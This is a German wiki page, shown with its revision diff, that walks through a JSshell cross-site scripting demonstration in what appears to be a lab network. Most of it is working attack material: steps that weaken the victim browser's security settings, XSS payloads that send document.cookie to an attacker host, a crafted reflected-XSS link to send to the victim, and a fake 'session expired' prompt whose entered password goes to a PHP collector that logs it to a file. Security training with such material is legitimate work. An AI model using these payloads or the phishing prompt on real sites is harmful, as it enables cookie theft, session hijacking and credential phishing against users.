Jsshell: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 72: | Zeile 72: | ||
=Passwörter klauen= | =Passwörter klauen= | ||
| − | ==Auf | + | ==Auf Kali== |
| − | *cat /var/www/html/recv.php | + | ; Apache + PHP müssen laufen |
| − | + | *systemctl start apache2 | |
| − | + | ||
| − | + | ; Sammler anlegen | |
| − | + | *cat /var/www/html/recv.php | |
| − | + | <?php | |
| − | + | $pw = $_GET['pw'] ?? ''; | |
| − | + | $fh = fopen("CollectedSessions.txt","a"); | |
| − | + | fwrite($fh, $pw."\n"); | |
| − | + | fclose($fh); | |
| − | *chmod | + | ?> |
| + | |||
| + | *chmod 644 /var/www/html/recv.php | ||
*touch /var/www/html/CollectedSessions.txt | *touch /var/www/html/CollectedSessions.txt | ||
| − | *chmod | + | *chmod 666 /var/www/html/CollectedSessions.txt |
==Die Shell== | ==Die Shell== | ||
Listening on [any] 5555 for incoming JS shell ... | Listening on [any] 5555 for incoming JS shell ... | ||
| − | Got JS shell from [ | + | Got JS shell from [Victim-IP] port XXXXX to kali 5555 |
| − | >>> var | + | >>> |
| − | ==Beim Opfer | + | |
| − | + | ; Passwort abfragen und senden | |
| + | *var p = prompt('Your session has expired. Please enter your password:',''); | ||
| + | *new Image().src='http://10.0.10.101/recv.php?pw='+encodeURIComponent(p); | ||
| + | |||
| + | ==Beim Opfer== | ||
| + | Popup erscheint, Benutzer gibt Passwort ein. | ||
| + | |||
==Auf Kali== | ==Auf Kali== | ||
| − | *tail -f CollectedSessions.txt | + | *tail -f /var/www/html/CollectedSessions.txt |
| − | + | ||
| − | + | ; Erwartung | |
| − | + | Passwörter erscheinen zeilenweise in der Datei. | |
| − | |||
=Links= | =Links= | ||
*https://github.com/shelld3v/JSshell/blob/master/README.md | *https://github.com/shelld3v/JSshell/blob/master/README.md | ||
Version vom 19. Januar 2026, 19:04 Uhr
Vorarbeiten zum Demonstrieren
- Opfer-Browser vorbereiten ==
- about
- config
- security.mixed_content.block_active_content → false
- security.mixed_content.block_display_content → false
- security.fileuri.strict_origin_policy → false
git clone
- git clone https://github.com/shelld3v/JSshell/
- cd JSshell/
- chmod +x jsh.py
start
- ./jsh.py -g -p 5555 -s 10.0.10.101
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v3.1
Payloads:
- SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
- SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)</script>
- IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
- BODY: <body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie}></body>
Listening on [any] 5555 for incoming JS shell ...
Payload
- Payload muss ins Eingabefeld
Generierter Link
- http://opfer.secure.local/scripts/xss-reflected.php?name=%3Cscript%3EsetInterval%28function%28%29%7Bwith%28document%29body.appendChild%28createElement%28%22script%22%29%29.src%3D%22%2F%2F10.0.10.101%3A5555%2F%3F%22%2Bdocument.cookie%7D%2C1010%29%3C%2Fscript%3E#
- Generierter Link wird zum Opfer geschickt
Die Shell
Listening on [any] 5555 for incoming JS shell ... Got JS shell from [10.0.10.101] port 53146 to orville 5555 >>>
Lebenszeichen
- confirm('JSshell live')
- Erwartung
Popup erscheint im Opfer-Browser.
Seite sichtbar verändern
- document.body.style.background='red'
- Erwartung
Hintergrund der Opferseite wird rot.
Text einblenden
- document.body.innerHTML='OWNED'
- Erwartung
Opferseite zeigt nur noch OWNED.
Aktuelle URL anzeigen
- confirm(document.location.href)
- Erwartung
Popup mit der aktuell aufgerufenen Opfer-URL.
Cookie anzeigen (falls vorhanden)
- confirm(document.cookie)
- Erwartung
Popup mit Cookie-Inhalt oder leerer String.
Passwörter klauen
Auf Kali
- Apache + PHP müssen laufen
- systemctl start apache2
- Sammler anlegen
- cat /var/www/html/recv.php
<?php $pw = $_GET['pw'] ?? ; $fh = fopen("CollectedSessions.txt","a"); fwrite($fh, $pw."\n"); fclose($fh); ?>
- chmod 644 /var/www/html/recv.php
- touch /var/www/html/CollectedSessions.txt
- chmod 666 /var/www/html/CollectedSessions.txt
Die Shell
Listening on [any] 5555 for incoming JS shell ... Got JS shell from [Victim-IP] port XXXXX to kali 5555 >>>
- Passwort abfragen und senden
- var p = prompt('Your session has expired. Please enter your password:',);
- new Image().src='http://10.0.10.101/recv.php?pw='+encodeURIComponent(p);
Beim Opfer
Popup erscheint, Benutzer gibt Passwort ein.
Auf Kali
- tail -f /var/www/html/CollectedSessions.txt
- Erwartung
Passwörter erscheinen zeilenweise in der Datei.